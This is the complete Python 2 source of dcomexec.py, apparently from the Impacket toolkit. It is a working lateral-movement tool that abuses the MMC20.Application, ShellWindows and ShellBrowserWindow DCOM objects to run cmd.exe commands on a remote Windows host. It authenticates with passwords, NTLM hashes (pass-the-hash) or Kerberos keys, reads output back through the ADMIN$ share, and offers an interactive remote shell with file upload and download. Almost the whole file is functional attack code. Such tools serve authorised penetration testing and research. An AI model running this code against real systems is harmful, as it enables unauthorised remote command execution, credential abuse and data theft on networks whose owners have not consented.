1#!/usr/bin/env python 2# Copyright (c) 2003-2018 CORE Security Technologies 3# 4# This software is provided under under a slightly modified version 5# of the Apache Software License. See the accompanying LICENSE file 6# for more information. 7# 8# A similar approach to psexec but executing commands through DCOM. 9# You can select different objects to be used to execute the commands. 10# Currently supported objects are: 11# 1. MMC20.Application (49B2791A-B1AE-4C90-9B8E-E860BA07F889) - Tested Windows 7, Windows 10, Server 2012R2 12# 2. ShellWindows (9BA05972-F6A8-11CF-A442-00A0C90A8F39) - Tested Windows 7, Windows 10, Server 2012R2 13# 3. ShellBrowserWindow (C08AFD90-F2A1-11D1-8455-00A0C91F3880) - Tested Windows 10, Server 2012R2 14# 15# Drawback is it needs DCOM, hence, I have to be able to access 16# DCOM ports at the target machine. 17# 18# Original discovery by Matt Nelson (@enigma0x3): 19# https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/ 20# https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/ 21# 22# Author: 23# beto (@agsolino) 24# Marcello (@byt3bl33d3r) 25# 26# Reference for: 27# DCOM 28# 29# ToDo: 30# [ ] Kerberos auth not working, invalid_checksum is thrown. Most probably sequence numbers out of sync due to 31# getInterface() method 32# 33 34import argparse 35import cmd 36import logging 37import ntpath 38import os 39import string 40import sys 41import time 42 43from impacket import version 44from impacket.dcerpc.v5.dcom.oaut import IID_IDispatch, string_to_bin, IDispatch, DISPPARAMS, DISPATCH_PROPERTYGET, \ 45 VARIANT, VARENUM, DISPATCH_METHOD 46from impacket.dcerpc.v5.dcomrt import DCOMConnection 47from impacket.dcerpc.v5.dcomrt import OBJREF, FLAGS_OBJREF_CUSTOM, OBJREF_CUSTOM, OBJREF_HANDLER, \ 48 OBJREF_EXTENDED, OBJREF_STANDARD, FLAGS_OBJREF_HANDLER, FLAGS_OBJREF_STANDARD, FLAGS_OBJREF_EXTENDED, \ 49 IRemUnknown2, INTERFACE 50from impacket.dcerpc.v5.dtypes import NULL 51from impacket.examples import logger 52from impacket.smbconnection import SMBConnection, SMB_DIALECT, SMB2_DIALECT_002, SMB2_DIALECT_21 53 54OUTPUT_FILENAME = '__' + str(time.time()) 55 56class DCOMEXEC: 57 def __init__(self, command='', username='', password='', domain='', hashes=None, aesKey=None, share=None, 58 noOutput=False, doKerberos=False, kdcHost=None, dcomObject=None): 59 self.__command = command 60 self.__username = username 61 self.__password = password 62 self.__domain = domain 63 self.__lmhash = '' 64 self.__nthash = '' 65 self.__aesKey = aesKey 66 self.__share = share 67 self.__noOutput = noOutput 68 self.__doKerberos = doKerberos 69 self.__kdcHost = kdcHost 70 self.__dcomObject = dcomObject 71 self.shell = None 72 if hashes is not None: 73 self.__lmhash, self.__nthash = hashes.split(':') 74 75 def getInterface(self, interface, resp): 76 # Now let's parse the answer and build an Interface instance 77 objRefType = OBJREF(''.join(resp))['flags'] 78 objRef = None 79 if objRefType == FLAGS_OBJREF_CUSTOM: 80 objRef = OBJREF_CUSTOM(''.join(resp)) 81 elif objRefType == FLAGS_OBJREF_HANDLER: 82 objRef = OBJREF_HANDLER(''.join(resp)) 83 elif objRefType == FLAGS_OBJREF_STANDARD: 84 objRef = OBJREF_STANDARD(''.join(resp)) 85 elif objRefType == FLAGS_OBJREF_EXTENDED: 86 objRef = OBJREF_EXTENDED(''.join(resp)) 87 else: 88 logging.error("Unknown OBJREF Type! 0x%x" % objRefType) 89 90 return IRemUnknown2( 91 INTERFACE(interface.get_cinstance(), None, interface.get_ipidRemUnknown(), objRef['std']['ipid'], 92 oxid=objRef['std']['oxid'], oid=objRef['std']['oxid'], 93 target=interface.get_target())) 94 95 def run(self, addr): 96 if self.__noOutput is False: 97 smbConnection = SMBConnection(addr, addr) 98 if self.__doKerberos is False: 99 smbConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) 100 else: 101 smbConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, 102 self.__nthash, self.__aesKey, kdcHost=self.__kdcHost) 103 104 dialect = smbConnection.getDialect() 105 if dialect == SMB_DIALECT: 106 logging.info("SMBv1 dialect used") 107 elif dialect == SMB2_DIALECT_002: 108 logging.info("SMBv2.0 dialect used") 109 elif dialect == SMB2_DIALECT_21: 110 logging.info("SMBv2.1 dialect used") 111 else: 112 logging.info("SMBv3.0 dialect used") 113 else: 114 smbConnection = None 115 116 dcom = DCOMConnection(addr, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, 117 self.__aesKey, oxidResolver=True, doKerberos=self.__doKerberos, kdcHost=self.__kdcHost) 118 try: 119 dispParams = DISPPARAMS(None, False) 120 dispParams['rgvarg'] = NULL 121 dispParams['rgdispidNamedArgs'] = NULL 122 dispParams['cArgs'] = 0 123 dispParams['cNamedArgs'] = 0 124 125 if self.__dcomObject == 'ShellWindows': 126 # ShellWindows CLSID (Windows 7, Windows 10, Windows Server 2012R2) 127 iInterface = dcom.CoCreateInstanceEx(string_to_bin('9BA05972-F6A8-11CF-A442-00A0C90A8F39'), IID_IDispatch) 128 iMMC = IDispatch(iInterface) 129 resp = iMMC.GetIDsOfNames(('Item',)) 130 resp = iMMC.Invoke(resp[0], 0x409, DISPATCH_METHOD, dispParams, 0, [], []) 131 iItem = IDispatch(self.getInterface(iMMC, resp['pVarResult']['_varUnion']['pdispVal']['abData'])) 132 resp = iItem.GetIDsOfNames(('Document',)) 133 resp = iItem.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], []) 134 pQuit = None 135 elif self.__dcomObject == 'ShellBrowserWindow': 136 # ShellBrowserWindow CLSID (Windows 10, Windows Server 2012R2) 137 iInterface = dcom.CoCreateInstanceEx(string_to_bin('C08AFD90-F2A1-11D1-8455-00A0C91F3880'), IID_IDispatch) 138 iMMC = IDispatch(iInterface) 139 resp = iMMC.GetIDsOfNames(('Document',)) 140 resp = iMMC.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], []) 141 pQuit = iMMC.GetIDsOfNames(('Quit',))[0] 142 elif self.__dcomObject == 'MMC20': 143 iInterface = dcom.CoCreateInstanceEx(string_to_bin('49B2791A-B1AE-4C90-9B8E-E860BA07F889'), IID_IDispatch) 144 iMMC = IDispatch(iInterface) 145 resp = iMMC.GetIDsOfNames(('Document',)) 146 resp = iMMC.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], []) 147 pQuit = iMMC.GetIDsOfNames(('Quit',))[0] 148 else: 149 logging.fatal('Invalid object %s' % self.__dcomObject) 150 return 151 152 iDocument = IDispatch(self.getInterface(iMMC, resp['pVarResult']['_varUnion']['pdispVal']['abData'])) 153 154 if self.__dcomObject == 'MMC20': 155 resp = iDocument.GetIDsOfNames(('ActiveView',)) 156 resp = iDocument.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], []) 157 158 iActiveView = IDispatch(self.getInterface(iMMC, resp['pVarResult']['_varUnion']['pdispVal']['abData'])) 159 pExecuteShellCommand = iActiveView.GetIDsOfNames(('ExecuteShellCommand',))[0] 160 self.shell = RemoteShellMMC20(self.__share, (iMMC, pQuit), (iActiveView, pExecuteShellCommand), smbConnection) 161 else: 162 resp = iDocument.GetIDsOfNames(('Application',)) 163 resp = iDocument.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], []) 164 165 iActiveView = IDispatch(self.getInterface(iMMC, resp['pVarResult']['_varUnion']['pdispVal']['abData'])) 166 pExecuteShellCommand = iActiveView.GetIDsOfNames(('ShellExecute',))[0] 167 self.shell = RemoteShell(self.__share, (iMMC, pQuit), (iActiveView, pExecuteShellCommand), smbConnection) 168 169 if self.__command != ' ': 170 self.shell.onecmd(self.__command) 171 if self.shell is not None: 172 self.shell.do_exit('') 173 else: 174 self.shell.cmdloop() 175 except (Exception, KeyboardInterrupt), e: 176 if logging.getLogger().level == logging.DEBUG: 177 import traceback 178 traceback.print_exc() 179 if self.shell is not None: 180 self.shell.do_exit('') 181 logging.error(str(e)) 182 if smbConnection is not None: 183 smbConnection.logoff() 184 dcom.disconnect() 185 sys.stdout.flush() 186 sys.exit(1) 187 188 if smbConnection is not None: 189 smbConnection.logoff() 190 dcom.disconnect() 191 192class RemoteShell(cmd.Cmd): 193 def __init__(self, share, quit, executeShellCommand, smbConnection): 194 cmd.Cmd.__init__(self) 195 self._share = share 196 self._output = '\\' + OUTPUT_FILENAME 197 self.__outputBuffer = '' 198 self._shell = 'cmd.exe' 199 self.__quit = quit 200 self._executeShellCommand = executeShellCommand 201 self.__transferClient = smbConnection 202 self._pwd = 'C:\\windows\\system32' 203 self._noOutput = False 204 self.intro = '[!] Launching semi-interactive shell - Careful what you execute\n[!] Press help for extra shell commands' 205 206 # We don't wanna deal with timeouts from now on. 207 if self.__transferClient is not None: 208 self.__transferClient.setTimeout(100000) 209 self.do_cd('\\') 210 else: 211 self._noOutput = True 212 213 def do_shell(self, s): 214 os.system(s) 215 216 def do_help(self, line): 217 print """ 218 lcd {path} - changes the current local directory to {path} 219 exit - terminates the server process (and this session) 220 put {src_file, dst_path} - uploads a local file to the dst_path (dst_path = default current directory) 221 get {file} - downloads pathname to the current local dir 222 ! {cmd} - executes a local shell cmd 223""" 224 225 def do_lcd(self, s): 226 if s == '': 227 print os.getcwd() 228 else: 229 try: 230 os.chdir(s) 231 except Exception, e: 232 logging.error(str(e)) 233 234 def do_get(self, src_path): 235 try: 236 import ntpath 237 newPath = ntpath.normpath(ntpath.join(self._pwd, src_path)) 238 drive, tail = ntpath.splitdrive(newPath) 239 filename = ntpath.basename(tail) 240 fh = open(filename,'wb') 241 logging.info("Downloading %s\\%s" % (drive, tail)) 242 self.__transferClient.getFile(drive[:-1]+'$', tail, fh.write) 243 fh.close() 244 except Exception, e: 245 logging.error(str(e)) 246 os.remove(filename) 247 pass 248 249 def do_put(self, s): 250 try: 251 params = s.split(' ') 252 if len(params) > 1: 253 src_path = params[0] 254 dst_path = params[1] 255 elif len(params) == 1: 256 src_path = params[0] 257 dst_path = '' 258 259 src_file = os.path.basename(src_path) 260 fh = open(src_path, 'rb') 261 dst_path = string.replace(dst_path, '/','\\') 262 import ntpath 263 pathname = ntpath.join(ntpath.join(self._pwd, dst_path), src_file) 264 drive, tail = ntpath.splitdrive(pathname) 265 logging.info("Uploading %s to %s" % (src_file, pathname)) 266 self.__transferClient.putFile(drive[:-1]+'$', tail, fh.read) 267 fh.close() 268 except Exception, e: 269 logging.critical(str(e)) 270 pass 271 272 def do_exit(self, s): 273 dispParams = DISPPARAMS(None, False) 274 dispParams['rgvarg'] = NULL 275 dispParams['rgdispidNamedArgs'] = NULL 276 dispParams['cArgs'] = 0 277 dispParams['cNamedArgs'] = 0 278 279 self.__quit[0].Invoke(self.__quit[1], 0x409, DISPATCH_METHOD, dispParams, 280 0, [], []) 281 return True 282 283 def emptyline(self): 284 return False 285 286 def do_cd(self, s): 287 self.execute_remote('cd ' + s) 288 if len(self.__outputBuffer.strip('\r\n')) > 0: 289 print self.__outputBuffer 290 self.__outputBuffer = '' 291 else: 292 self._pwd = ntpath.normpath(ntpath.join(self._pwd, s)) 293 self.execute_remote('cd ') 294 self._pwd = self.__outputBuffer.strip('\r\n') 295 self.prompt = self._pwd + '>' 296 self.__outputBuffer = '' 297 298 def default(self, line): 299 # Let's try to guess if the user is trying to change drive 300 if len(line) == 2 and line[1] == ':': 301 # Execute the command and see if the drive is valid 302 self.execute_remote(line) 303 if len(self.__outputBuffer.strip('\r\n')) > 0: 304 # Something went wrong 305 print self.__outputBuffer 306 self.__outputBuffer = '' 307 else: 308 # Drive valid, now we should get the current path 309 self._pwd = line 310 self.execute_remote('cd ') 311 self._pwd = self.__outputBuffer.strip('\r\n') 312 self.prompt = self._pwd + '>' 313 self.__outputBuffer = '' 314 else: 315 if line != '': 316 self.send_data(line) 317 318 def get_output(self): 319 def output_callback(data): 320 self.__outputBuffer += data 321 322 if self._noOutput is True: 323 self.__outputBuffer = '' 324 return 325 326 while True: 327 try: 328 self.__transferClient.getFile(self._share, self._output, output_callback) 329 break 330 except Exception, e: 331 if str(e).find('STATUS_SHARING_VIOLATION') >=0: 332 # Output not finished, let's wait 333 time.sleep(1) 334 pass 335 elif str(e).find('Broken') >= 0: 336 # The SMB Connection might have timed out, let's try reconnecting 337 logging.debug('Connection broken, trying to recreate it') 338 self.__transferClient.reconnect() 339 return self.get_output() 340 self.__transferClient.deleteFile(self._share, self._output) 341 342 def execute_remote(self, data): 343 command = '/Q /c ' + data 344 if self._noOutput is False: 345 command += ' 1> ' + '\\\\127.0.0.1\\%s' % self._share + self._output + ' 2>&1' 346 347 dispParams = DISPPARAMS(None, False) 348 dispParams['rgdispidNamedArgs'] = NULL 349 dispParams['cArgs'] = 5 350 dispParams['cNamedArgs'] = 0 351 arg0 = VARIANT(None, False) 352 arg0['clSize'] = 5 353 arg0['vt'] = VARENUM.VT_BSTR 354 arg0['_varUnion']['tag'] = VARENUM.VT_BSTR 355 arg0['_varUnion']['bstrVal']['asData'] = self._shell 356 357 arg1 = VARIANT(None, False) 358 arg1['clSize'] = 5 359 arg1['vt'] = VARENUM.VT_BSTR 360 arg1['_varUnion']['tag'] = VARENUM.VT_BSTR 361 arg1['_varUnion']['bstrVal']['asData'] = command.decode(sys.stdin.encoding) 362 363 arg2 = VARIANT(None, False) 364 arg2['clSize'] = 5 365 arg2['vt'] = VARENUM.VT_BSTR 366 arg2['_varUnion']['tag'] = VARENUM.VT_BSTR 367 arg2['_varUnion']['bstrVal']['asData'] = self._pwd 368 369 arg3 = VARIANT(None, False) 370 arg3['clSize'] = 5 371 arg3['vt'] = VARENUM.VT_BSTR 372 arg3['_varUnion']['tag'] = VARENUM.VT_BSTR 373 arg3['_varUnion']['bstrVal']['asData'] = '' 374 375 arg4 = VARIANT(None, False) 376 arg4['clSize'] = 5 377 arg4['vt'] = VARENUM.VT_BSTR 378 arg4['_varUnion']['tag'] = VARENUM.VT_BSTR 379 arg4['_varUnion']['bstrVal']['asData'] = '0' 380 dispParams['rgvarg'].append(arg4) 381 dispParams['rgvarg'].append(arg3) 382 dispParams['rgvarg'].append(arg2) 383 dispParams['rgvarg'].append(arg1) 384 dispParams['rgvarg'].append(arg0) 385 386 #print dispParams.dump() 387 388 self._executeShellCommand[0].Invoke(self._executeShellCommand[1], 0x409, DISPATCH_METHOD, dispParams, 389 0, [], []) 390 self.get_output() 391 392 def send_data(self, data): 393 self.execute_remote(data) 394 print self.__outputBuffer 395 self.__outputBuffer = '' 396 397class RemoteShellMMC20(RemoteShell): 398 def execute_remote(self, data): 399 command = '/Q /c ' + data 400 if self._noOutput is False: 401 command += ' 1> ' + '\\\\127.0.0.1\\%s' % self._share + self._output + ' 2>&1' 402 403 dispParams = DISPPARAMS(None, False) 404 dispParams['rgdispidNamedArgs'] = NULL 405 dispParams['cArgs'] = 4 406 dispParams['cNamedArgs'] = 0 407 arg0 = VARIANT(None, False) 408 arg0['clSize'] = 5 409 arg0['vt'] = VARENUM.VT_BSTR 410 arg0['_varUnion']['tag'] = VARENUM.VT_BSTR 411 arg0['_varUnion']['bstrVal']['asData'] = self._shell 412 413 arg1 = VARIANT(None, False) 414 arg1['clSize'] = 5 415 arg1['vt'] = VARENUM.VT_BSTR 416 arg1['_varUnion']['tag'] = VARENUM.VT_BSTR 417 arg1['_varUnion']['bstrVal']['asData'] = self._pwd 418 419 arg2 = VARIANT(None, False) 420 arg2['clSize'] = 5 421 arg2['vt'] = VARENUM.VT_BSTR 422 arg2['_varUnion']['tag'] = VARENUM.VT_BSTR 423 arg2['_varUnion']['bstrVal']['asData'] = command.decode(sys.stdin.encoding) 424 425 arg3 = VARIANT(None, False) 426 arg3['clSize'] = 5 427 arg3['vt'] = VARENUM.VT_BSTR 428 arg3['_varUnion']['tag'] = VARENUM.VT_BSTR 429 arg3['_varUnion']['bstrVal']['asData'] = '7' 430 dispParams['rgvarg'].append(arg3) 431 dispParams['rgvarg'].append(arg2) 432 dispParams['rgvarg'].append(arg1) 433 dispParams['rgvarg'].append(arg0) 434 435 self._executeShellCommand[0].Invoke(self._executeShellCommand[1], 0x409, DISPATCH_METHOD, dispParams, 436 0, [], []) 437 self.get_output() 438 439class AuthFileSyntaxError(Exception): 440 441 '''raised by load_smbclient_auth_file if it encounters a syntax error 442 while loading the smbclient-style authentication file.''' 443 444 def __init__(self, path, lineno, reason): 445 self.path=path 446 self.lineno=lineno 447 self.reason=reason 448 449 def __str__(self): 450 return 'Syntax error in auth file %s line %d: %s' % ( 451 self.path, self.lineno, self.reason ) 452 453def load_smbclient_auth_file(path): 454 455 '''Load credentials from an smbclient-style authentication file (used by 456 smbclient, mount.cifs and others). returns (domain, username, password) 457 or raises AuthFileSyntaxError or any I/O exceptions.''' 458 459 lineno=0 460 domain=None 461 username=None 462 password=None 463 for line in open(path): 464 lineno+=1 465 466 line = line.strip() 467 468 if line.startswith('#') or line=='': 469 continue 470 471 parts = line.split('=',1) 472 if len(parts) != 2: 473 raise AuthFileSyntaxError(path, lineno, 'No "=" present in line') 474 475 (k,v) = (parts[0].strip(), parts[1].strip()) 476 477 if k=='username': 478 username=v 479 elif k=='password': 480 password=v 481 elif k=='domain': 482 domain=v 483 else: 484 raise AuthFileSyntaxError(path, lineno, 'Unknown option %s' % repr(k)) 485 486 return (domain, username, password) 487 488# Process command-line arguments. 489if __name__ == '__main__': 490 # Init the example's logger theme 491 logger.init() 492 print version.BANNER 493 494 parser = argparse.ArgumentParser(add_help = True, description = "Executes a semi-interactive shell using the " 495 "ShellBrowserWindow DCOM object.") 496 parser.add_argument('target', action='store', help='[[domain/]username[:password]@]<targetName or address>') 497 parser.add_argument('-share', action='store', default = 'ADMIN$', help='share where the output will be grabbed from ' 498 '(default ADMIN$)') 499 parser.add_argument('-nooutput', action='store_true', default = False, help='whether or not to print the output ' 500 '(no SMB connection created)') 501 parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') 502 parser.add_argument('-object', choices=['ShellWindows', 'ShellBrowserWindow', 'MMC20'], nargs='?', default='ShellWindows', 503 help='DCOM object to be used to execute the shell command (default=ShellWindows)') 504 505 parser.add_argument('command', nargs='*', default = ' ', help='command to execute at the target. If empty it will ' 506 'launch a semi-interactive shell') 507 508 group = parser.add_argument_group('authentication') 509 510 group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') 511 group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)') 512 group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file ' 513 '(KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ' 514 'ones specified in the command line') 515 group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication ' 516 '(128 or 256 bits)') 517 group.add_argument('-dc-ip', action='store',metavar = "ip address", help='IP Address of the domain controller. If ' 518 'ommited it use the domain part (FQDN) specified in the target parameter') 519 group.add_argument('-A', action="store", metavar = "authfile", help="smbclient/mount.cifs-style authentication file. " 520 "See smbclient man page's -A option.") 521 522 if len(sys.argv)==1: 523 parser.print_help() 524 sys.exit(1) 525 526 options = parser.parse_args() 527 528 if ' '.join(options.command) == ' ' and options.nooutput is True: 529 logging.error("-nooutput switch and interactive shell not supported") 530 sys.exit(1) 531 532 if options.debug is True: 533 logging.getLogger().setLevel(logging.DEBUG) 534 else: 535 logging.getLogger().setLevel(logging.INFO) 536 537 import re 538 539 domain, username, password, address = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match( 540 options.target).groups('') 541 542 #In case the password contains '@' 543 if '@' in address: 544 password = password + '@' + address.rpartition('@')[0] 545 address = address.rpartition('@')[2] 546 547 try: 548 if options.A is not None: 549 (domain, username, password) = load_smbclient_auth_file(options.A) 550 logging.debug('loaded smbclient auth file: domain=%s, username=%s, password=%s' % (repr(domain), repr(username), repr(password))) 551 552 if domain is None: 553 domain = '' 554 555 if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None: 556 from getpass import getpass 557 password = getpass("Password:") 558 559 if options.aesKey is not None: 560 options.k = True 561 562 executer = DCOMEXEC(' '.join(options.command), username, password, domain, options.hashes, options.aesKey, 563 options.share, options.nooutput, options.k, options.dc_ip, options.object) 564 executer.run(address) 565 except (Exception, KeyboardInterrupt), e: 566 if logging.getLogger().level == logging.DEBUG: 567 import traceback 568 traceback.print_exc() 569 logging.error(str(e)) 570 sys.exit(0) 571